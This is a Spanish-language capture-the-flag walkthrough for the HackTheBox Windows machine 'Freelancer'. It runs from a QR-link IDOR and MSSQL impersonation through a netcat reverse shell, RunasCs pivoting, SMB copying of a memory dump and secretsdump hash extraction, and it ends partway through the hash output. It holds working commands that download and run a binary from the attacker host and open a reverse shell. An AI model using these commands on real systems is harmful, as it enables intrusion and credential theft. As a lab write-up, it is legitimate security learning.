Freelancer – HackTheBox Link to heading

  • OS: Windows
  • Dificultad: Hard/Difícil
  • Plataforma: HackTheBox

‘Freelancer’ Avatar


Resumen Link to heading

“Freelancer” es una máquina de dificultad Difícil de la plataforma HackTheBox. Luego de escanear puertos abiertos, encontramos que somos capaces de visitar una página web en la cual somos capaces de crear un usuario. PAra loguearnos con esta cuenta, podemos cambiar su contraseña y así bypassear la verificación necesaria por administradores para usar ésta. Ya dentro, somos capaces de encontrar una vulnerabilidad IDOR en un link de un código QR, lo cual conlleva a ganar acceso a un panel MSSQL. Somos capaces de ejecutar comandos de sistema en la base de datos y así ganar acceso inicial a la máquina víctima. Una vez dentro, somos capaces de encontrar credenciales para un usuario el cual tiene acceso a algunos archivos de respaldo. Estos archivos filtran la contraseña para un nuevo usuario. Revisando qué permisos tiene este último usuario con BloodHound, encontramos que éste puede performar un ataque Resource-based Constrained Delegation. Con este ataque somos capaces de extraer el ticket Kerberos del usuario Administrator y ganar control total del sistema.


User / Usuario Link to heading

Empezando con un escaneo con Nmap muestra múltiples puertos abiertos: 53 Domain Name System (DNS), 80 HTTP, 88 Kerberos, 135 Microsoft RPC, 389 Lightweight Directory Access Protocol (LDAP), 445 Server Message Block (SMB), 5985 Windows Remote Management (WinRM); entre muchos otros.

❯ sudo nmap -sVC -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49670,49671,49672,49675,55136,55140,55297 10.10.11.5 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-09 21:34 -04
Nmap scan report for 10.10.11.5
Host is up (0.22s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          nginx 1.25.5
|_http-title: Did not follow redirect to http://freelancer.htb/
|_http-server-header: nginx/1.25.5
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-06-10 06:34:02Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  msrpc         Microsoft Windows RPC
55136/tcp open  msrpc         Microsoft Windows RPC
55140/tcp open  msrpc         Microsoft Windows RPC
55297/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
|   10.10.11.5\SQLEXPRESS:
|     Instance name: SQLEXPRESS
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|     TCP port: 55297
|     Named pipe: \\10.10.11.5\pipe\MSSQL$SQLEXPRESS\sql\query
|_    Clustered: false
| ms-sql-ntlm-info:
|   10.10.11.5\SQLEXPRESS:
|     Target_Name: FREELANCER
|     NetBIOS_Domain_Name: FREELANCER
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: freelancer.htb
|     DNS_Computer_Name: DC.freelancer.htb
|     DNS_Tree_Name: freelancer.htb
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-06-07T16:05:35
|_Not valid after:  2054-06-07T16:05:35
|_ssl-date: 2024-06-10T06:35:12+00:00; +4h59m43s from scanner time.
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-06-10T06:35:04
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: 4h59m42s, deviation: 0s, median: 4h59m42s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 84.18 seconds

Como se puede ver del escaneo para el puerto 80 HTTP, somos redirigidos al dominio http://freelancer.htb. De manera que agrego este nuevo dominio a mi archivo /etc/hosts:

❯ echo '10.10.11.5 freelancer.htb' | sudo tee -a /etc/hosts

Una vez agregado, visitamos http://freelancer.htb y podemos ver el siguiente sitio web:

Freelancer 1

Noto que en la parte superior derecha del sitio web nos podemos registrar como Freelancer o Employee. Intentando crear una cuenta como Employee en esta página redirige a http://freelancer.htb/employer/register:

Freelancer 3

Me creo una cuenta de empleado. Noto que la contraseña no puede ser la misma que el usuario y, además, ésta debe cumplir algunos requisitos (como tener números, símbolos, etc). También recomiendo fuertemente recordar las respuestas a las “preguntas personales” tales como “el nombre de tu mascota” y otras (puede que las necesitemos luego…). Una vez creada la cuenta, el sitio nos redirige a http://freelancer.htb/accounts/login:

Freelancer 2

Pero cuando intentamos loguearnos con la cuenta creada, tenemos un error:

Freelancer 4

Es necesario un permiso antes de poder usar la cuenta creada.

Ya en este punto podemos tratar de “recuperar” nuestra cuenta. Podemos clickear en Forgot your password? y esta opción redirige a http://freelancer.htb/accounts/recovery/:

Freelancer 5

Ahora simplemente agregamos nuestras “respuestas secretas” a las preguntas que hicimos al crear la cuenta y somos capaces de reiniciar nuestra contraseña:

Freelancer 6

Hecho esto, ahora somos capaces de loguearnos con la cuenta con contraseña reiniciada en el panel de login. Ya dentro, podemos ver:

Freelancer 7

Del lado izquierdo podemos ver la opción QR Code. Si clickeamos en éste podemos ver:

Freelancer 8

Busco en Google por qr reader online y éste me lleva a esta página. Me descargo el código QR en mi máquina y lo subo a la página web (haciendo click en el ícono de una cámara). Una vez subido, tenemos algo como:

Freelancer 9

Obtengo un link:

http://freelancer.htb/accounts/login/otp/MTAwMTA=/1886888efac3a20ac0f5b39870424739/

Algo importante a mencionar, tal cual la página web dice, es que el link del código QR generado sólo dura alrededor de unos 5 minutos. De manera que éste puede cambiar.

Si vemos a dónde nos lleva el link del código QR, éste nos lleva de vuelta a nuestro perfil de cuenta en el panel. No obstante, éste no preguntó por contraseña alguna:

Freelancer 10

También somos capaces de crear trabajos/jobs. Me creo un simple trabajo llamado Pentester. Una vez creado este trabajo, si revisamos qué es lo que tenemos al crearlo, podemos ver la página web: Freelancer 11

Noto que este nuevto trabajo/“job” es http://freelancer.htb/job/details/?job_id=13. Si cambiamos job_id=13 a job_id=12 podemos ver otros trabajos:

Freelancer 12

Pero más allá de otros trabajos no logro ver nada interesante.

Si revisamos algunos strings que contenía el link del código QR como MTAwMTA=, aparentemente éste se encuentra encodeado en base64:

❯ echo 'MTAwMTA=' | base64 -d

10010

Ahora bien, de vuelta al generador de código QR (y luego de generar un par de nuevos códigos), éste parece seguir un patrón:

http://freelancer.htb/accounts/login/otp/<string>=<generated code>

Quizás <string>, el cual estaba encodeado en base64, es algo así como un parámetro ID y <generated code> es un código temporal el cual cambia cada ~5 minutos. Asumiendo que existe un usuario administrador, a éste le debería de corresponder ID = 1. Si paso el string 1 y lo encodeo en base64 tenemos:

❯ echo -n '1' | base64

MQ==

De manera que hago lo siguiente:

  1. Genero un nuevo código QR.
  2. Reemplazo, en el código QR, el campo <string> por MQ= en el código recién generado.

Al hacer esto y visitar el link obtengo una respuesta 500 Internal Server Error.

No obstante, si uso como <string> (o id) el número 2, esto funciona. Por ejemplo, basados en nuestro código QR generado previamente, éste será:

http://freelancer.htb/accounts/login/otp/Mg==/1886888efac3a20ac0f5b39870424739/

donde

❯ echo -n '2' | base64

Mg==

Es decir, Mg== es simplemente 2 encodeado en base64 y ese string lo reemplazamos por MTAwMTA= en el código original.

Una vez hecho, y visitando el link, obtengo un sesión como admin:

Freelancer 13

Pero este panel parece totalmente idéntico al que accedimos cuando creamos nuestro usuario empleado. Decido buscar por directorios a través de un Brute Force Directory Listing con ffuf:

❯ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -c -u http://freelancer.htb/FUZZ -t 55

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://freelancer.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 55
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

about                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 303ms]
contact                 [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 2141ms]
admin                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 694ms]

Y nos muestra /admin. Si me abro una pestaña aparte en el navegador de internet y visito http://freelancer.htb/admin/login/?next=/admin/ éste nos muestra un panel de login:

Freelancer 14

Pero si, desde la misma ventana en la cual estamos logueados en en panel como admin, usamos la sesión de este usuario para visitar /admin ahora podemos ver:

Freelancer

Si clickeo en SQL Terminal y scrolleo hacia abajo, ahora puedo ver una terminal. Dado que este es un panel SQL y estamos ante una máquina Windows, asumo que el servicio corriendo es MSSQL. Yendo a HackTricks podemos empezar a realizar algunas enumeraciones. Por ejemplo, podemos enumerar usuarios en la base de datos corriendo:

select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;

lo cual retorna:

Freelancer 17

Pero si intento ejecutar comandos a nivel de sistema, como whoami:

EXEC master..xp_cmdshell 'whoami'

Obtenemos un error:

Freelancer 18

Esto básicamente dice que no tenemos permisos para ejecutar comandos a nivel de sistema.

Usando otro oneliner de HackTricks intentando habilitar nuestro usuario para correr comandos:

EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

Obtenemos un error similar al mostrado en la imagen anterior.

Al enumerar, vimos que teníamos 2 usuarios disponibles en la base de datos: Freelancer_webapp_user y sa. Reviso con cuál usuarios nos encontramos logueado:

SELECT user_name();

Obteniendo:

Freelancer 19

Nos encontramos logueados como el usuario Freelancer_webapp_user.

Siguiendo de nuevo consejos de HackTricks, podríamos tratar de pasar a ejecutar comandos en la base de datos como (Freelancer_webapp_user) a ejecutarlos como el usuario sysadmin (sa). Si reviso los dueños de las bases de datos:

SELECT suser_sname(owner_sid) FROM sys.databases

Tenemos que el usuario sa es el dueño de todas las bases de datos.

Si ejecuto si este usuario tiene el rol sysadmin:

EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin')

Puedo ver que la respuesta es 1; si corro este comando sin EXECUTE AS obtengo 0. En MSSQL, cuando obtenemos 1 esto significa True (es decir, sa sí tiene el rol sysadmin), 0 significa que no es miembro. Dado que obtuvimos 1, esto quiere decir que podemos ejecutar comandos como sysadmin impersonando al usuario sa.

Podemos, además, tratar de agregar a nuestro usuario Freelancer_webapp_user al rol sysadmin impersonando al usuario sa. Para lograr esto ejecutamos:

EXECUTE AS LOGIN = 'sa'
EXEC sp_addsrvrolemember 'Freelancer_webapp_user', 'sysadmin'

y luego ejecutamos:

SELECT IS_SRVROLEMEMBER('sysadmin')

Esto significa que ahora nuestro usuario Freelancer_webapp_user sí tiene el rol sysadmin.

Ahora, vuelvo a correr el comando para habilitar xp_cmdshell (para ejecutar comandos a nivel de sistema):

EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

Y funciona, dado que éste ahora no retorna error alguno.

Si ahora ejecuto:

EXEC master..xp_cmdshell 'whoami'

Obtenemos:

Freelancer 20

Finalmente, trataré de enviarme a mí mismo un ping. Para ello, en mi máquina de atacante, empiezo un listener con tcpdump por trazas ICMP:

❯ sudo tcpdump -ni tun0 icmp

y en la terminal MSSQL me envío un ping:

EXEC master..xp_cmdshell 'ping -n 1 10.10.16.9'

donde 10.10.16.9 es mi IP de atacante.

En mi listener recibo algo:

❯ sudo tcpdump -ni tun0 icmp

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
19:06:34.476998 IP 10.10.11.5 > 10.10.16.9: ICMP echo request, id 1, seq 90, length 40
19:06:34.477022 IP 10.10.16.9 > 10.10.11.5: ICMP echo reply, id 1, seq 90, length 40

Así, somos capaces de ejecutar comandos remotamente en la máquina víctima.

Luego, voy a la página web de Reverse Shell Generator (https://www.revshells.com/), selecciono un payload PowerShell #3 (Base64), lo relleno con mi IP de atacante y puerto en escucha 443. En mi máquina de atacante empiezo un listener con netcat junto con rlwrap en el puerto 443:

❯ rlwrap nc -lvnp 443

listening on [any] 443 ...

Luego de intentar algunas cosas, una de las que funciona es usar wget dentro de Powershell (dado que certutil, otra herramienta para descargar archivos desde una CMD, estaba bloqueada). Empiezo un server HTTP Python exponiendo un binario de netcat para Windows:

❯ python3 -m http.server 8000

Y descargo el archivo expuesto corriendo en la consola MSSQL:

EXEC master..xp_cmdshell 'powershell -command "wget http://10.10.16.9:8000/nc64.exe -Outfile C:\Users\Public\Downloads\nc.exe"'

y nos enviamos la reverse shell ejecutando:

EXEC master..xp_cmdshell 'C:\Users\Public\Downloads\nc.exe 10.10.16.9 443 -e C:\Windows\System32\cmd.exe'

Donde puedo obtener una shell como el usuario sql_svc:

❯ rlwrap nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.5] 57180
Microsoft Windows [Version 10.0.17763.5830]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami

whoami
freelancer\sql_svc

Ya dentro, yendo al directorio C:\Users\sql_svc y usando el comando tree podemos ver algunos archivos:

C:\Users\Public\Downloads>cd C:\Users\sql_svc

cd C:\Users\sql_svc

C:\Users\sql_svc>tree .

tree .
Folder PATH listing
Volume serial number is 8954-28AE
C:\USERS\SQL_SVC
3D Objects
Contacts
Desktop
Documents
Downloads
   SQLEXPR-2019_x64_ENU
       1033_ENU_LP
          x64
              1033
              Setup
                  x64
       redist
          VisualStudioShell
              VCRuntimes
       resources
          1033
       x64
           Setup
Favorites
Links
Music
Pictures
Saved Games
Searches
Videos

Donde puedo ver un directorio llamado SQLEXPR-2019_x64_ENU. Yendo a C:\Users\svc_sql\Downloads y revisando todos los archivos muestra:

C:\Users\sql_svc\Downloads>dir /S /A

dir /S /A
 Volume in drive C has no label.
 Volume Serial Number is 8954-28AE

 Directory of C:\Users\sql_svc\Downloads

05/27/2024  01:53 PM    <DIR>          .
05/27/2024  01:53 PM    <DIR>          ..
05/27/2024  01:51 PM               282 desktop.ini
05/27/2024  01:52 PM    <DIR>          SQLEXPR-2019_x64_ENU
               1 File(s)            282 bytes

 Directory of C:\Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU

05/27/2024  01:52 PM    <DIR>          .
05/27/2024  01:52 PM    <DIR>          ..
05/27/2024  01:52 PM    <DIR>          1033_ENU_LP
09/24/2019  09:00 PM                45 AUTORUN.INF
09/24/2019  09:00 PM               784 MEDIAINFO.XML
09/29/2023  04:49 AM                16 PackageId.dat
05/27/2024  01:52 PM    <DIR>          redist
05/27/2024  01:52 PM    <DIR>          resources
09/24/2019  09:00 PM           142,944 SETUP.EXE
09/24/2019  09:00 PM               486 SETUP.EXE.CONFIG
05/27/2024  04:58 PM               724 sql-Configuration.INI
09/24/2019  09:00 PM           249,448 SQLSETUPBOOTSTRAPPER.DLL
05/27/2024  01:52 PM    <DIR>          x64
               7 File(s)        394,447 bytes

 Directory of C:\Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU\1033_ENU_LP

05/27/2024  01:52 PM    <DIR>          .
05/27/2024  01:52 PM    <DIR>          ..
09/24/2019  09:35 PM               203 MEDIAINFO.XML
<SNIP>

Luego de revisar algunos de ellos, el archivo C:\Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU\sql-Configuration.INI muestra algo:

C:\Users\sql_svc\Downloads>type C:\Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU\sql-Configuration.INI

type C:\Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU\sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="FREELANCER\sql_svc"
SQLSVCPASSWORD="IL0v3ErenY3ager"
SQLSYSADMINACCOUNTS="FREELANCER\Administrator"
SECURITYMODE="SQL"
SAPWD="t3mp0r@ryS@PWD"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True

Podemos ver 2 contraseñas: IL0v3ErenY3ager y t3mp0r@ryS@PWD. Guardo ambas en un archivo llamado found_passwd.txt en mi máquina de atacante.

Además, reviso si tenemos más usuarios en esta máquina; y tenemos bastantes:

C:\Users\sql_svc\Downloads>net user

net user

User accounts for \\DC

-------------------------------------------------------------------------------
Administrator            alex.hill                carol.poland
d.jones                  dthomas                  ereed
Ethan.l                  evelyn.adams             Guest
hking                    jen.brown                jgreen
jmartinez                krbtgt                   leon.sk
lkazanof                 lorra199                 maya.artmes
michael.williams         mikasaAckerman           olivia.garcia
samuel.turner            sdavis                   sophia.h
sql_svc                  SQLBackupOperator        sshd
taylor                   wwalker
The command completed successfully.

Guardo todos los potenciales usuarios en un archivo llamado users.txt.

Dado que el servicio SMB estaba expuesto, usaré NetExec para revisar si encontramos credenciales válidas:

❯ netexec smb 10.10.11.5 -u users.txt -p found_passwd.txt --continue-on-success

SMB         10.10.11.5      445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:freelancer.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.5      445    DC               [-] freelancer.htb\Administrator:IL0v3ErenY3ager STATUS_LOGON_FAILURE
SMB         10.10.11.5      445    DC               [-] freelancer.htb\alex.hill:IL0v3ErenY3ager STATUS_LOGON_FAILURE
SMB         10.10.11.5      445    DC               [-] freelancer.htb\carol.poland:IL0v3ErenY3ager STATUS_LOGON_FAILURE
<SNIP>
SMB         10.10.11.5      445    DC               [-] freelancer.htb\michael.williams:IL0v3ErenY3ager STATUS_LOGON_FAILURE
SMB         10.10.11.5      445    DC               [+] freelancer.htb\mikasaAckerman:IL0v3ErenY3ager
SMB         10.10.11.5      445    DC               [-] freelancer.htb\olivia.garcia:IL0v3ErenY3ager STATUS_LOGON_FAILURE
<SNIP>
SMB         10.10.11.5      445    DC               [-] freelancer.htb\taylor:t3mp0r@ryS@PWD STATUS_LOGON_FAILURE
SMB         10.10.11.5      445    DC               [-] freelancer.htb\wwalker:t3mp0r@ryS@PWD STATUS_LOGON_FAILURE

Una de las credenciales funciona: mikasaAckerman:IL0v3ErenY3ager.

No obstante, desde la shell con el usuario sql_svc noto que el usuario mikasaAckerman no se puede conectar por medio del servicio WinRM (que estaba corriendo en la máquina víctima) dado que no es un miembro del grupo Remote Management Users:

C:\Users\sql_svc\Downloads>net localgroup "Remote Management Users"

net localgroup "Remote Management Users"
Alias name     Remote Management Users
Comment        Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.

Members

-------------------------------------------------------------------------------
dthomas
lkazanof
lorra199
michael.williams
wwalker
The command completed successfully.

Por tanto, usaré a nuestro buen amigo RunasCs (el cual puede ser descargado desde su repositorio de Github) para pivotear internamente al usuario mikasaAckerman. Para esto paso el binario de RunasCs de manera similar a como pasamos el binario de netcat, empezamos un nuevo listener con netcat en nuestra máquina de atacante y ejecutamos RunasCs en la máquina víctima:

C:\Users\sql_svc\Downloads>powershell -command "wget http://10.10.16.9:8000/RunasCs.exe -Outfile C:\Users\Public\Downloads\runascs.exe"

powershell -command "wget http://10.10.16.9:8000/RunasCs.exe -Outfile C:\Users\Public\Downloads\runascs.exe"

C:\Users\Public\Downloads\runascs.exe mikasaAckerman IL0v3ErenY3ager cmd.exe -r 10.10.16.9:443 -t 10

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-49493$\Default
[+] Async process 'C:\WINDOWS\system32\cmd.exe' with pid 2396 created in background.

En mi listener con nc obtengo una nueva shell como el usuario mikasaAckerman.

❯ rlwrap nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.5] 57358
Microsoft Windows [Version 10.0.17763.5830]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
freelancer\mikasaackerman

Podemos obtener la flag de user en el Desktop de mikasaackerman.


NT Authority / System - Administrador Link to heading

Revisando el directorio Desktop de mikasaackerman podemos ver un archivo llamado mail.txt:

C:\Users\mikasaAckerman\Desktop>dir

dir
 Volume in drive C has no label.
 Volume Serial Number is 8954-28AE

 Directory of C:\Users\mikasaAckerman\Desktop

05/28/2024  10:22 AM    <DIR>          .
05/28/2024  10:22 AM    <DIR>          ..
10/28/2023  06:23 PM             1,468 mail.txt
10/04/2023  01:47 PM       292,692,678 MEMORY.7z
07/11/2024  11:08 PM                34 user.txt
               3 File(s)    292,694,180 bytes
               2 Dir(s)   2,596,708,352 bytes free

Leyéndolo tenemos:

C:\Users\mikasaAckerman\Desktop>type mail.txt

type mail.txt
Hello Mikasa,
I tried once again to work with Liza Kazanoff after seeking her help to troubleshoot the BSOD issue on the "DATACENTER-2019" computer. As you know, the problem started occurring after we installed the new update of SQL Server 2019.
I attempted the solutions you provided in your last email, but unfortunately, there was no improvement. Whenever we try to establish a remote SQL connection to the installed instance, the server's CPU starts overheating, and the RAM usage keeps increasing until the BSOD appears, forcing the server to restart.
Nevertheless, Liza has requested me to generate a full memory dump on the Datacenter and send it to you for further assistance in troubleshooting the issue.
Best regards,

En corto, el mail habla sobre un dump de memoria del sistema. Puede ser una pista sobre qué archivos revisar. Es más, como podemos ver, existe un archivo llamado MEMORY.7z en el directorio Desktop de mikasaackerman.

Transferiré este archivo a través del servicio SMB. Para esto crearé un recurso compartido llamado smb2Folder a través de SMB en mi máquina de atacante con credenciales gunzf0x:gunzf0x123$!:

❯ python3 /usr/share/doc/python3-impacket/examples/smbserver.py smb2Folder $(pwd) -smb2support -username gunzf0x -password 'gunzf0x123$!'

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

En la máquina víctima nos conectamos a este recurso compartido:

C:\Users\mikasaAckerman\Desktop>net use \\10.10.16.9\smb2Folder /u:gunzf0x gunzf0x123$!

net use \\10.10.16.9\smb2Folder /u:gunzf0x gunzf0x123$!
The command completed successfully.

Copiamos el archivo a nuestra máquina de atacante:

C:\Users\mikasaAckerman\Desktop>copy .\MEMORY.7z \\10.10.16.9\smb2Folder\

copy .\MEMORY.7z \\10.10.16.9\smb2Folder\
        1 file(s) copied.

Y, ya transferido el archivo, borramos la conexión:

C:\Users\mikasaAckerman\Desktop>net use /d \\10.10.16.9\smb2Folder

net use /d \\10.10.16.9\smb2Folder
\\10.10.16.9\smb2Folder was deleted successfully.

Luego, en nuestra máquian de atacante, extraemos el contenido del archivo 7z:

❯ 7z x MEMORY.7z

Donde ahora tenemos un archivo MEMORY.DMP. Para extraer los archivos de este archivo .dmp usamos la herramienta MemProcFS (la cual puede ser descargada desde su repositorio de Github). Una vez descargado, extraigo todo el contenido del archivo .dmp y los importo en una montura temporal llamado tmp_mount:

❯ mkdir tmp_mount

❯ ./memprocfs -device MEMORY.DMP -mount ./tmp_mount
Initialized 64-bit Windows 10.0.17763

==============================  MemProcFS  ==============================
 - Author:           Ulf Frisk - pcileech@frizk.net
 - Info:             https://github.com/ufrisk/MemProcFS
 - Discord:          https://discord.gg/pcileech
 - License:          GNU Affero General Public License v3.0
   ---------------------------------------------------------------------
   MemProcFS is free open source software. If you find it useful please
   become a sponsor at: https://github.com/sponsors/ufrisk Thank You :)
   ---------------------------------------------------------------------
 - Version:          5.10.0 (Linux)
 - Mount Point:      ./tmp_mount
 - Tag:              17763_a3431de6
 - Operating System: Windows 10.0.17763 (X64)
==========================================================================

Una vez que los archivos han sido extraídos (y sin cerrar la terminal corriendo MemProcFS), vamos al directorio ./tmp_mnount/registry/hive_files y puedo ver 3 archivos que son interesantes para mí: SYSTEM, SAM y SECURITY

❯ cd ./tmp_mount/registry/hive_files

❯ ls -la

total 0
drwxr-xr-x 2 gunzf0x gunzf0x        0 Jul 11 21:07 .
drwxr-xr-x 2 gunzf0x gunzf0x        0 Jul 11 21:07 ..
-rw-r--r-- 1 gunzf0x gunzf0x     8192 Jul 11 21:07 0xffffd30679c0e000-unknown-unknown.reghive
-rw-r--r-- 1 gunzf0x gunzf0x 18440192 Jul 11 21:07 0xffffd30679c46000-SYSTEM-MACHINE_SYSTEM.reghive
-rw-r--r-- 1 gunzf0x gunzf0x    28672 Jul 11 21:07 0xffffd30679cdc000-unknown-MACHINE_HARDWARE.reghive
-rw-r--r-- 1 gunzf0x gunzf0x     8192 Jul 11 21:07 0xffffd3067b257000-settingsdat-A_{c94cb844-4804-8507-e708-439a8873b610}.reghive
-rw-r--r-- 1 gunzf0x gunzf0x   323584 Jul 11 21:07 0xffffd3067b261000-ActivationStoredat-A_{23F7AFEB-1A41-4BD7-9168-EA663F1D9A7D}.reghive
-rw-r--r-- 1 gunzf0x gunzf0x    28672 Jul 11 21:07 0xffffd3067b514000-BCD-MACHINE_BCD00000000.reghive
-rw-r--r-- 1 gunzf0x gunzf0x 90902528 Jul 11 21:07 0xffffd3067b516000-SOFTWARE-MACHINE_SOFTWARE.reghive
-rw-r--r-- 1 gunzf0x gunzf0x   319488 Jul 11 21:07 0xffffd3067d7e9000-DEFAULT-USER_.DEFAULT.reghive
-rw-r--r-- 1 gunzf0x gunzf0x    49152 Jul 11 21:07 0xffffd3067d7f0000-SECURITY-MACHINE_SECURITY.reghive
-rw-r--r-- 1 gunzf0x gunzf0x    49152 Jul 11 21:07 0xffffd3067d935000-SAM-MACHINE_SAM.reghive
<SNIP>

Ahora usamos secretsdump.py de Impacket para extraer credenciales credentials/hashes:

❯ python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam 0xffffd3067d935000-SAM-MACHINE_SAM.reghive -system 0xffffd30679c46000-SYSTEM-MACHINE_SYSTEM.reghive -security 0xffffd3067d7f0000-SECURITY-MACHINE_SECURITY.reghive local

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Target system bootKey: 0xaeb5f8f068bbe8789b87bf985e129382
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:725180474a181356e53f4fe3dffac527:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:04fc56dd3ee3165e966ed04ea791d7a7:::
[*] Dumping cached domain logon information (domain/username:hash)
FREELANCER.HTB/Administrator:$DCC2$10240#Administrator#67a0c0f193abd932b55fb8916692c361: (2023-10-04 12:55:34)
FREELANCER.HTB/lorra199:$DCC2$10240#lorra199#7ce808b78e75a5747135cf53dc6ac3b1: (2023-10-04 12:29:00)
FREELANCER.HTB/liza.kazanof:$DCC2$10240#liza.kazanof#ecd6e532224ccad2abcf2369ccb8b679: (2023-10-04 17:31:23)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
